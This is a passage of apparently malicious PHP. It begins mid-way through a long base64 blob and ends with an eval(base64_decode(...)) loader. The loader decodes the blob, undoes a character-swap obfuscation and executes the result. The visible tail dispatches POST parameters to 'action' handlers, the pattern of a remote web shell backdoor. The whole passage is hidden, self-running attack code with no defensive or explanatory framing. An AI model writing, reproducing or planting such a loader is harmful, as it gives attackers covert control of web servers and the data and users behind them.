dDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KCQkkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCgk1bHM1DQoJCSRfUE9TVFsnMSddID0gJ1M1Y0luZjInOw0KNGYoICE1bXB0eSgkX1BPU1RbJzEnXSkgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pICkNCgljMWxsXzNzNXJfZjNuYygnMWN0NDJuJyAuICRfUE9TVFsnMSddKTsNCjV4NHQ7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));